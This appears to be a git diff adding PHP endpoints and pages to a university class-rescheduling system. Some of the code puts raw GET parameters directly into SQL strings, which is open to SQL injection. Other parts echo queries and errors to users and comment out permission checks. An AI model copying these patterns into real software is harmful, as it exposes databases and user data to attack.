if(!isset($coord_correos["correo"]) || !in_array($correo["coordinador_correo"], $coord_correos["correo"])){ + array_push($coord_correos, $correo["coordinador_correo"]); + } + } +} + +$correosSup_rs = $db->query("SELECT DISTINCT sup.usuario_correo as supervisor_correo + FROM horario_supervisor hs + inner join usuario sup on sup.usuario_id =hs.usuario_id + where :facultad = ANY(hs.facultad_id_array)", + [':facultad'=>$reposicion_rs["facultad_id"]] ); + +$sup_correos=[]; +foreach($correosSup_rs as $correo){ + array_push($sup_correos, $correo["supervisor_correo"]); +} + + +if($edo == 4){//cancelación + $motivo = ""; + if(isset($_POST["motivo"]) && $_POST["motivo"] != "") + $motivo = trim($_POST["motivo"]); + $db->querySingle('SELECT fu_reposicion_cancela(:id, :motivo)', + [':id' => $id_repo, ':motivo' => $motivo] + ); +}else{ + if(!empty($salon)){ + $db->querySingle('SELECT fu_reposicion_solicitud(:id, NULL, NULL, NULL, :sal, :edo, NULL, NULL, NULL, NULL)', + [':id' => $id_repo, ':sal' => $salon, ':edo' => $edo] + ); + }else{ + $db->querySingle('SELECT fu_reposicion_solicitud(:id, NULL, NULL, NULL, NULL, :edo, NULL, NULL, NULL, NULL)', + [':id' => $id_repo, ':edo' => $edo] + ); + } +} + + +$fecha_clase = date('d/m/Y', strtotime($reposicion_rs["fecha_clase"])); +$fecha_nueva = date('d/m/Y', strtotime($reposicion_rs["fecha_nueva"])); +$hora_tmp = explode(":",$reposicion_rs["horario_hora"]); +$hora_clase = $hora_tmp[0].":".$hora_tmp[1]; +$hora_tmp = explode(":",$reposicion_rs["hora_nueva"]); +$hora_nueva = $hora_tmp[0].":".$hora_tmp[1]; + +$asunto = ""; +$texto = ""; +$to = ""; +switch($edo){ + case 2://Correo a supervisor + $asunto = "Reposición nueva - ".$reposicion_rs["clave_dependencia"]." ".$reposicion_rs["facultad"]; + //crear plantilla + $texto = "

Se creó una reposición nueva para: ".$reposicion_rs["clave_dependencia"]." ".$reposicion_rs["facultad"].".

"; + $texto .= "

".mb_strtoupper($reposicion_rs["materia"])." del día ".$fecha_clase." a las ".$hora_clase." hrs. se propone reponer el ".$fecha_nueva." a las ".$hora_nueva." hrs."; + if(!$reposicion_rs["tipoaula_supervisor"]){ + $texto .= " en el salón: ".$salon_desc."

"; + }else{ + $texto .= " en un salón de tipo: ".$reposicion_rs["tipoaula_nombre"]."

"; + } + $texto .= "

Ingresa al sistema PAAD para autorizarla.

"; + $to = join(",", $sup_correos); + $ok = 0; + break; + case 3://Correo a coordinador, profesor y jefe + $asunto = "Reposición autorizada - ".$reposicion_rs["materia"]; + $texto = "

La resposición de la clase de ".$reposicion_rs["materia"]." del día ".$fecha_clase." a las ".$hora_clase." hrs. está autorizada para realizarse el día ".$fecha_nueva." a las ".$hora_nueva." hrs. en: $salon_desc

"; + $to = join(",", $coord_correos).",".join(",", $prof_correos).",".join(",", $jefe_correos); + $ok = 0; + $db->querySingle('SELECT fu_reposicion_solicitud_supervisor(:id, :sup)', + [':id' => $id_repo, ':sup'=>$user->user["id"]] + ); + break; + case 4://Correo a coordinador, profesor y jefe + $asunto = "Reposición declinada - ".$reposicion_rs["materia"]; + $texto = "

La resposición de la clase de ".$reposicion_rs["materia"]." planeada para el día ".$fecha_nueva." a las ".$hora_nueva." hrs. ha sido declinada por el siguiente motivo:

"; + $texto .= "

".$motivo."

"; + $to = join(",", $coord_correos).",".join(",", $prof_correos).",".join(",", $jefe_correos); + $ok = 1; + $db->querySingle('SELECT fu_reposicion_solicitud_supervisor(:id, :sup)', + [':id' => $id_repo, ':sup'=>$user->user["id"]] + ); + break; +} + +if($to!= "" && ENVIO_CORREOS){ + $texto = ' + La Salle + '.$texto.' + '; + + require_once('../include/phpmailer/PHPMailerAutoload.php'); + if($_ENV['DB_NAME'] == "paad_pruebas"){ + $asunto = "PRUEBAS-".$asunto; + Mailer::enviarCorreo("alejandro.lara@lasalle.mx", $asunto, $texto, true); + }else{ + Mailer::enviarCorreo($to, $asunto, $texto, true); + } +} + +/* +$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log); +*/ +header("Location: ".$pag."?ok=".$ok); +exit(); +?> diff --git a/action/reposicion_delete.php b/action/reposicion_delete.php new file mode 100644 index 0000000..8c69187 --- /dev/null +++ b/action/reposicion_delete.php @@ -0,0 +1,33 @@ +user["id"]; + + try{ + $db->query('SELECT * from fd_reposicion_solicitud(:id, :creador)', [":id"=> $id, ":creador"=>$creador]); + $return["ok"] = "La reposición se borró correctamente"; + + }catch(Exception $e){ + $return["error"] = "Ocurrió un error al borrar la reposición."; + } + + +} +echo json_encode($return); +?> diff --git a/action/reposicion_insert.php b/action/reposicion_insert.php new file mode 100644 index 0000000..895c9ff --- /dev/null +++ b/action/reposicion_insert.php @@ -0,0 +1,208 @@ +access(); + +$duracion_id = filter_input(INPUT_POST, "duracion", FILTER_SANITIZE_NUMBER_INT);//Id reposicion +$bloque = filter_input(INPUT_POST, "bloque", FILTER_SANITIZE_NUMBER_INT);// +$ciclo = filter_input(INPUT_POST, "ciclo", FILTER_SANITIZE_NUMBER_INT);// +$fecha_falta = trim(htmlspecialchars($_POST["fecha_falta"], ENT_QUOTES, "UTF-8"));//Reposicion +$fecha = trim(htmlspecialchars($_POST["fecha_inicial"], ENT_QUOTES, "UTF-8"));//Reposicion +$fecha_cambio = trim(htmlspecialchars($_POST["fecha_cambio"], ENT_QUOTES, "UTF-8"));//Cambio salón +$hora_ini = filter_input(INPUT_POST, "hora_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto hora reposicion +$min_ini = filter_input(INPUT_POST, "min_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$hor = filter_input(INPUT_POST, "horario", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$alumnos = filter_input(INPUT_POST, "alumnos", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$tipo = filter_input(INPUT_POST, "tipo", FILTER_SANITIZE_NUMBER_INT);//1 Repo , 0 Cambio +$aula = filter_input(INPUT_POST, "aula", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad +$salon = NULL; + +if(!$user->jefe_carrera){//coordinador + if(isset($_POST["salon"]) && $_POST["salon"] != "") + $salon = filter_input(INPUT_POST, "dlSalon", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad +} + +if(empty($_POST["prof"])) + $prof = $user->user["id"]; +else + $prof = filter_input(INPUT_POST, "prof", FILTER_SANITIZE_NUMBER_INT);//limpia texto + +$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto + + + +$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]); +$duracion_tiempo = $duracion_rs["duracion_interval"]; + +//-- Obtiene datos de horario regular de clase +$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor', + [':hor' => $hor] + ); + +$materia = $horario_rs["materia_id"]; +$dia = $horario_rs["horario_dia"]; + +$hora = $hora_ini.":".$min_ini.":00"; + + +if($tipo == 1){//Reposición + $fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora; + $fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo; + $dia_new = date('w', strtotime($fecha_new)); + + $fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d'); + $dia_falta = date('w', strtotime($fecha_falta)); +}else{ + $fecha_cambio = DateTime::createFromFormat('d/m/Y', $fecha_cambio)->format('Y-m-d'); + $dia_falta = date('w', strtotime($fecha_cambio)); +} + + +//Valida que tenga clase en la fecha de falta +if(intval($dia) != intval($dia_falta)){ + header("Location:".$pag."?error=11"); + /*print_r($_POST); + echo 'SELECT * from horario_view where horario_id = '.$hor; + echo intval($dia)." != ".intval($dia_falta);*/ + exit(); +} + +//Obtiene materia +$materia_rs = $db->querySingle('SELECT materia_nombre from materia where materia_id = :mat',[':mat' => $materia]); + +//Obtiene correo +$correos_rs = $db->querySingle('SELECT coor.usuario_correo, coor.usuario_nombre from usuario coor where rol_id = :rol_coord and facultad_id = ( + select coalesce(facultad_id,0) from usuario u where u.usuario_id = :id_usr) and coor.usuario_correo != \'\'',[':rol_coord' => COORDINADOR, ':id_usr' => $user->user["id"]] +); +if( count($correos_rs) > 0 ){ + $to = $correos_rs["usuario_correo"]; +} + +if($tipo == 1){//Reposición + // Valida que grupo no tenga clases + /*$result = validaConflictoHoras($pdo, $gpo, $dia_new, $hora, $materia, "-", $fecha_new, $fecha_fin_new, $duracion); + if($result != ""){//error + //echo $result; + header("Location:".$pag."?error=7"); + exit(); + } + */ + //Valida que profesor no este en 2 reposiciones al mismo tiempo en la fecha nueva + + $traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)', + [':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo] + )["traslape_profesor_reposicion"]; + if($traslape){ + //print_r($_POST); + //echo "SELECT * from traslape_profesor_reposicion($prof,'".DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')."' , '$hora', $duracion)"; + + header("Location:".$pag."?error=9"); + exit(); + } + + try{ + if($user->jefe_carrera){//jefe + $db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo)', + [':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, ':hor' => $hor, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"], + ':bloque' => $bloque, ':ciclo' => $ciclo + ] + ); + + }else{//coordinador + echo 'SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo, '.$salon.')'; + $db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, true, :aula, :duracion, :usr, :bloque, :ciclo, :salon)', + [':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, ':hor' => $hor, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"], + ':bloque' => $bloque, ':ciclo' => $ciclo, ':salon'=>$salon + ] + ); + } + }catch(Exception $e){ + + echo "ERROR Reposición
".$e->getMessage(); + //header("Location: ".$pag."?error=1"); + exit(); + } + $fecha_clase = date('d/m/Y', strtotime($fecha_falta)); + $fecha_nueva = date('d/m/Y', strtotime($fecha_new)); + $texto = "

Se creó una reposición nueva.

"; + $texto .= "

".mb_strtoupper($materia_rs["materia_nombre"])." del día ".$fecha_clase." a las ".$horario_rs["horario_hora"]." hrs. se propone reponer el ".$fecha_nueva." a las ".$hora." hrs."; + $texto .= "

Ingresa al sistema PAAD para autorizarla.

"; + +/* + $log = new LogActividad(); + $desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_falta.">".$fecha_new."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]"; + $log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/ + + +}else{//Cambio salón / hora + + try{ + if($user->jefe_carrera){//jefe + $db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, false, :aula, :duracion, :usr, :bloque, :ciclo)', + [':f_falta' => $fecha_cambio, ':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"], + ':bloque' => $bloque, ':ciclo' => $ciclo + ] + ); + }else{//coordinador + $db->query('SELECT * from fi_reposicion_solicitud(:f_falta, :f_nueva, :hora_nueva, :hor, :prof, 2, :desc, :alumnos, false, :aula, :duracion, :usr, :bloque, :ciclo, :salon)', + [':f_falta' => $fecha_cambio, ':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"], + ':bloque' => $bloque, ':ciclo' => $ciclo, ':salon'=>$salon + ] + ); + } + }catch(Exception $e){ + echo "ERROR Cambio
".$e->getMessage(); + //header("Location: ".$pag."?error=1"); + exit(); + } + $texto = "

Se creó un cambio de salón nuevo.

"; + $texto .= "

".mb_strtoupper($materia_rs["materia_nombre"])." del día ".$fecha_falta." a las ".$hora." hrs. se propone reponer el ".$fecha_nueva." a las ".$hora." hrs."; + $texto .= "

Ingresa al sistema PAAD para autorizarlo.

"; + + /* + $log = new LogActividad(); + $desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_cambio.">".$fecha_cambio_nueva."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]"; + $log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log); + */ + +} + +if($to!= "" && ENVIO_CORREOS){ + $asunto = "Reposición nueva - solicitud"; + //crear plantilla + $texto = ' + La Salle + '.$texto.' + '; + + require_once('../include/phpmailer/PHPMailerAutoload.php'); + if($_ENV['DB_NAME'] == "paad_pruebas"){ + $asunto = "PRUEBAS-".$asunto; + Mailer::enviarCorreo("alejandro.lara@lasalle.mx", $asunto, $texto, true); + }else{ + Mailer::enviarCorreo($to, $asunto, $texto, true); + } + +} + +header("Location: ".$pag."?ok=0"); +exit(); +?> diff --git a/action/reposicion_profesor_materias.php b/action/reposicion_profesor_materias.php new file mode 100644 index 0000000..d411a7c --- /dev/null +++ b/action/reposicion_profesor_materias.php @@ -0,0 +1,45 @@ +tieneAcceso()){ + $return["error"] = "Error! No tienes permisos para realizar esta acción."; +}else*/ if(!isset($_POST["id"])){ + $return["error"] = "Error! No se recibió la información del profesor."; +}else{ + $id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto + + try{ + $rs = $db->query('SELECT * FROM fs_materiasprofesor(:id, :jefe)', [':id' => $id, ':jefe'=>$user->user["id"]] ); + + }catch(Exception $e){ + $return["error"] = "Ocurrió un error al leer los datos de las materias."; + echo json_encode($return); + } + + $mat_arr = array(); + foreach($rs as $m){ + $mat_arr[] = array("horario_id"=>$m["horario_id"], "horario_dia"=>$m["horario_dia"], + "horario_hora"=>substr($m["horario_hora"], 0, 2), "horario_min"=>substr($m["horario_hora"], 3, 2), + "materia_nombre"=>$m["materia_nombre"].' - '.$m["horario_dia_nombre"]." ".substr($m["horario_hora"], 0, -3), + "grupo"=>$m["horario_grupo"], "duracion" => $m["duracion"] + ); + } + + $return["materias"] = $mat_arr; + +} +echo json_encode($return); +?> diff --git a/action/reposicion_select.php b/action/reposicion_select.php new file mode 100644 index 0000000..b691ab9 --- /dev/null +++ b/action/reposicion_select.php @@ -0,0 +1,87 @@ +tieneAcceso()){ + $return["error"] = "Error! No tienes permisos para realizar esta acción."; +}else*/ if(!isset($_POST["id"])){ + $return["error"] = "Error! No se recibió la información de la reposición."; +}else{ + $id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto + + + try{ + if($user->rol["rol_id"] == 7){//es supervisor + $rs = $db->querySingle('SELECT * from fs_reposicion_solicitud(:id, NULL, NULL, NULL, NULL, NULL, NULL, NULL, :sup)', + [':id' => $id, ':sup'=>$user->user["id"]] + ); + }else{//coordinador + $rs = $db->querySingle('SELECT * from fs_reposicion_solicitud(:id, :fac, NULL, NULL, NULL, NULL, NULL, NULL, null)', + [':id' => $id, ":fac"=>$user->facultad["facultad_id"] ] + ); + } + + }catch(Exception $e){ + $return["error"] = "Ocurrió un error al leer los datos de la reposición."; + echo json_encode($return); + exit(); + } + + + $return["fecha_clase"] = date('d/m/Y', strtotime($rs["fecha_clase"])); + $return["fecha_nueva"] = date('d/m/Y', strtotime($rs["fecha_nueva"])); + $hora_nueva = explode(":",$rs["hora_nueva"]); + $return["hora_ini"] = $hora_nueva[0]; + $return["min_ini"] = $hora_nueva[1]; + $hora_nueva_fin = explode(":",$rs["hora_nueva_fin"]); + $return["hora_fin"] = $hora_nueva_fin[0]; + $return["min_fin"] = $hora_nueva_fin[1]; + $return["duracion"] = $rs["duracion_interval"]; + +// $return["carrera"] = $rs["PlanEstudio_desc"]; + $return["horario"] = $rs["horario_id"]; + $return["materia"] = $rs["materia_id"]; + $return["materia_desc"] = $rs["materia_nombre"]; + $return["salon"] = $rs["salon_id"]; + if($rs["salon_id"]==""){ + $return["salon_desc"] = "Pendiente"; + }else{ + $salon_json = json_decode($rs["salon_array"], true); + if($salon_json[0]== "UNIVERSIDAD LA SALLE"){ + unset($salon_json[0]); + } + $return["salon_desc"] = join(" / ",$salon_json); + } + + //$return["salon_desc"] = $rs["salon"]=="" ? "-Pendiente-": $rs["salon"]; + $return["ciclo"] = $rs["ciclo"]; + $return["bloque"] = $rs["bloque"]; + $return["profesor"] = $rs["profesor_id"]; + $return["profesor_nombre"] = $rs["profesor_nombre"]; + $return["comentario"] = $rs["descripcion"]; + $return["alumnos"] = $rs["alumnos"]; + $return["tipo"] = $rs["es_reposicion"]; + $return["aula"] = $rs["tipoaula_id"]; + $return["aula_desc"] = $rs["tipoaula_nombre"]; + $return["aula_supervisor"] = $rs["tipoaula_supervisor"]; + $return["dia"] = date('w', strtotime($rs["fecha_clase"])); + $return["motivo_cancelacion"] = $rs["motivo_cancelacion"]; + $return["estado"] = $rs["estado_reposicion_id"]; + $return["facultad"] = $rs["facultad_nombre"]; + $return["carrera"] = $rs["carrera_nombre"]; + $return["grupo"] = $rs["horario_grupo"]; +} +echo json_encode($return); +?> diff --git a/action/reposicion_update.php b/action/reposicion_update.php new file mode 100644 index 0000000..741f678 --- /dev/null +++ b/action/reposicion_update.php @@ -0,0 +1,124 @@ + FILTER_FLAG_STRIP_LOW)));//limpia texto +$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto + +$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]); +$duracion_tiempo = $duracion_rs["duracion_interval"]; + +$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor', + [':hor' => $hor] + ); + +$materia = $horario_rs["materia_id"]; +$dia = $horario_rs["horario_dia"]; + + +$hora = $hora_ini.":".$min_ini.":00"; +$fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora; +$fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo; +$dia_new = date('w', strtotime($fecha_new)); + +//echo $fecha_new."
"; +//echo $fecha_fin_new."
"; +if($tipo == 1){//Reposición + $fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d'); + $dia_falta = date('w', strtotime($fecha_falta)); +}else{ + $fecha_cambio = DateTime::createFromFormat('d/m/Y', $fecha_cambio)->format('Y-m-d'); + $dia_falta = date('w', strtotime($fecha_cambio)); +} + +//Valida que tenga clase en la fecha de falta +if(intval($dia) != intval($dia_falta)){ + //header("Location:".$pag."?error=11"); + echo intval($dia)." != ".intval($dia_falta); + exit(); +} + + +if($tipo == 1){//Reposición + // Valida que grupo no tenga clases + /*$result = validaConflictoHoras($pdo, $gpo, $dia, $hora, $materia, "-", $fecha_ini, $fecha_fin, $duracion); + if($result != ""){//error + //echo $result; + header("Location:".$pag."?error=7"); + exit(); + } + + //Valida que profesor no este en 2 reposiciones al mismo tiempo + */ + $traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)', + [':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo] + )["traslape_profesor_reposicion"]; + if($traslape){ + //header("Location:".$pag."?error=9"); + echo "traslape"; + exit(); + } + + + /* + $log = new LogActividad(); + $desc_log = "Actualiza reposición ID[".$id."] Fechas[".$fecha_ini."][".$fecha_fin."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."]"; + $log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/ +} + +try{ + $db->query('SELECT * from fu_reposicion_solicitud(:id, :f_falta, :f_nueva, :hora_nueva, NULL, 1, :desc, :alumnos, :aula, :duracion, NULL)', + [':id'=> $id, ':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, + ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo + ] + ); +}catch(Exception $e){ + //header("Location: ".$pag."?error=2"); + print_r($e->getMessage()); + echo "SELECT * from fu_reposicion_solicitud(:id, :f_falta, :f_nueva, :hora_nueva, NULL, 1, :desc, :alumnos, :aula, :duracion, NULL)'"; + print_r( + [':id'=> $id, ':f_falta' => $fecha_falta, ':f_nueva' => $fecha_new, ':hora_nueva' => $hora, + ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo + ]); + exit(); +} +header("Location: ".$pag); +exit(); +?> diff --git a/action/rutas.php b/action/rutas.php new file mode 100644 index 0000000..a3289da --- /dev/null +++ b/action/rutas.php @@ -0,0 +1,28 @@ +where('salon', 'UNIVERSIDAD LA SALLE', 'ILIKE') + ->getOne('salon_view_mat'); + +$rutas = + array_map( + function ($ruta) use ($db) { + $ruta['subrutas'] = + $db + ->where('id_espacio_padre', $ruta['id_espacio_sgu']) + ->orderBy('salon') + ->get('salon_view_mat'); + return $ruta; + + }, + $db + ->where('id_espacio_padre', $universidad_la_salle['id_espacio_sgu']) + ->orderBy('salon') + ->get('salon_view_mat') + ); + +// echo json_encode($universidad_la_salle, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); EXIT; +echo json_encode($rutas, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); \ No newline at end of file diff --git a/action/rutas_salón_horario.php b/action/rutas_salón_horario.php new file mode 100644 index 0000000..d03f0b9 --- /dev/null +++ b/action/rutas_salón_horario.php @@ -0,0 +1,201 @@ + [ + 'id_espacio_sgu', + 'bloque_horario_id', + ], +]; + +#output rutas: [ ...ruta, salones: [{...salon}] ] +header('Content-Type: application/json charset=utf-8'); +$ruta = "../"; +require_once "../class/c_login.php"; +// check method +try { + global $db; + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + // check parameters + array_walk($information['GET'], function ($value) { + if (!array_key_exists($value, $_GET)) { + http_response_code(400); + echo json_encode(['error' => "$value is required"]); + exit; + } + }); + + + + // step 1: get subrutas + $data = $db + ->where('tiene_salones') + ->where("{$_GET['id_espacio_sgu']} = ANY(id_espacio_sgu_array)") + ->get('salon_view_mat', columns: 'id_espacio_sgu, salon, salon_id, salon_array'); + + $columns = [ + // horario + 'horario_view.horario_id', + 'horario_hora', + 'horario_grupo', + 'horario_fin', + 'materia', + 'carrera', + 'nivel', + 'horario_view.salon', + 'facultad', + // profesor + 'profesor.profesor_id', + 'profesor_clave', + 'profesor_nombre', + 'profesor_correo', + // registro + 'registro_fecha', + 'registro_retardo', + 'registro.reposicion_id', + 'estado_supervisor_id', + 'comentario', + // reposicion + 'reposicion_fecha', + 'reposicion_hora', + 'reposicion_hora_fin', + 'salon_reposicion.salon as reposicion_salon', + ]; + $fecha = ($_GET['fecha'] != 'null') ? ("'{$_GET['fecha']}'" ?: 'CURRENT_DATE') : 'CURRENT_DATE'; + + /*echo json_encode(array_values( + $db->query( + 'SELECT ' . implode(', ', $columns) . << 6, + 'id_espacio_sgu' => 144, + ] + ) + ), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit();*/ + + $reposicion_rs = $db->query( + 'SELECT ' . implode(', ', $columns) . << $_GET['bloque_horario_id'], + 'id_espacio_sgu' => $_GET['id_espacio_sgu'], + ] + ); + + $data = array_map( + fn($ruta) => array_merge( + [ + 'horarios' => $db->query( + "SELECT " . implode(', ', $columns) . << $_GET['bloque_horario_id'], + 'id_espacio_sgu' => $ruta['id_espacio_sgu'], + ] + ) , + // 'query' => $db->getLastQuery(), + 'reposiciones' => $reposicion_rs/* $db->query( + 'SELECT ' . implode(', ', $columns) . << $_GET['bloque_horario_id'], + 'id_espacio_sgu' => $ruta['id_espacio_sgu'], + ] + )*/ , + ], + $ruta, + ), + $data + ); + + $data = array_filter( + $data, + fn($ruta) => count($ruta['horarios']) > 0 || count($ruta['reposiciones']) > 0 + ); + + echo json_encode(array_values($data), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + + } + +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + // 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} diff --git a/action/schemas/registro_supervisor.json b/action/schemas/registro_supervisor.json new file mode 100644 index 0000000..de0de0e --- /dev/null +++ b/action/schemas/registro_supervisor.json @@ -0,0 +1,24 @@ +{ + "type": "array", + "items": { + "type": "object", + "properties": { + "profesor_id": { + "type": "integer" + }, + "horario_id": { + "type": "integer" + }, + "estado": { + "type": ["integer", "null"] + }, + "comentario": { + "type": "string" + }, + "supervisor_id": { + "type": "integer" + } + }, + "required": ["profesor_id", "horario_id", "comentario", "supervisor_id"] + } +} diff --git a/action/usuario_find.php b/action/usuario_find.php new file mode 100644 index 0000000..adcf171 --- /dev/null +++ b/action/usuario_find.php @@ -0,0 +1,23 @@ +query("SELECT * FROM fs_profesores(:nombre, :clave, :facultad) ORDER BY profesor_nombre", [':nombre' => $nombre, ':clave' => $clave, ':facultad' => $facultad])); +?> \ No newline at end of file diff --git a/action/usuarios.php b/action/usuarios.php new file mode 100644 index 0000000..c3e77ad --- /dev/null +++ b/action/usuarios.php @@ -0,0 +1,28 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); + +$ruta = "../"; +require_once "../include/bd_pdo.php"; +$facultad_id = $user->facultad['facultad_id']; +$materias = $db->query(<< $facultad_id) +); + +// $user->print_to_log("Crea carrera", old: $_POST); + +die(json_encode($materias)); \ No newline at end of file diff --git a/alta_de_horario.php b/alta_de_horario.php new file mode 100644 index 0000000..2e43495 --- /dev/null +++ b/alta_de_horario.php @@ -0,0 +1,283 @@ +access(); +if (in_array($user->acceso, ['r', 'n'])) + die(header('Location: main.php?error=1')); + +$user->print_to_log('Consultar: Alta de horario'); +?> + + + + + Cargar horario desde Excel | <?= $user->facultad['facultad'] ?? 'General' ?> + + + + + + + +
+
+
+ +
+
+
+ +
+
+
+ where('id', $user->periodo_id)->getOne('fs_periodo'); + $carreras = $db + ->where('nivel', $periodo['nivel_id']) + ->where('facultad', $user->facultad['facultad_id']) + ->orderBy('carrera') + ->get('fs_carrera'); + ?> +
+ + +
+
+
Seleccionar carrera
+ +
    + +
  • + +
  • + +
+ +
+
+ +
+ +
+ +
+ +
+
+ +
+ + + + +
+
+
+ +
+
+ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/api/horario_profesor_log.php b/api/horario_profesor_log.php new file mode 100644 index 0000000..7edfd90 --- /dev/null +++ b/api/horario_profesor_log.php @@ -0,0 +1,34 @@ + 'Request error.']); + die(); +} + + +$periodos = array_map(fn($array) => $array['id_periodo_sgu'], $db + ->join('periodo', 'periodo.periodo_id = horario_view.periodo_id') + ->join('horario_profesor', 'horario_profesor.horario_id = horario_view.horario_id') + ->where('profesor_id', $input['profesor_id']) + ->groupBy('id_periodo_sgu') + ->orderBy('id_periodo_sgu', 'DESC') + ->get('horario_view', 5, 'id_periodo_sgu')); + +$clave_profesor = $db->where('profesor_id', $input['profesor_id'])->getOne('profesor', 'profesor_clave')['profesor_clave']; + +$horarios = []; +$rest = new Horarios(); + +foreach ($periodos as $periodo) { + $horarios = array_merge($horarios, $rest->get(data: ['idPeriodo' => $periodo, 'claveProfesor' => $clave_profesor, 'fecha' => date('Y-m-d')])); +} + +$db + ->where('log_id', $input['log_id']) + ->update("log_registro", ['horario_web' => json_encode($horarios)]); \ No newline at end of file diff --git a/auditoria.php b/auditoria.php new file mode 100644 index 0000000..319accd --- /dev/null +++ b/auditoria.php @@ -0,0 +1,761 @@ + + + + + + + Auditoría asistencial + + + + + + + + + periodo_id) { ?> + + + + + + + +
+ + +
+ facultad['facultad_id']) { ?> +
+ +
+
+
+ Selecciona una facultad +
+ +
    +
  • + Todas las facultades +
  • +
  • + ( {{facultad.clave_dependencia}} ) {{ facultad.facultad_nombre }} +
  • +
+ +
+
+
+
+ +
+
+ + +
+
+
+ + +
+ +
+
+
+ Seleccione un bloque horario +
+ +
    +
  • + Todos los bloques horarios +
  • +
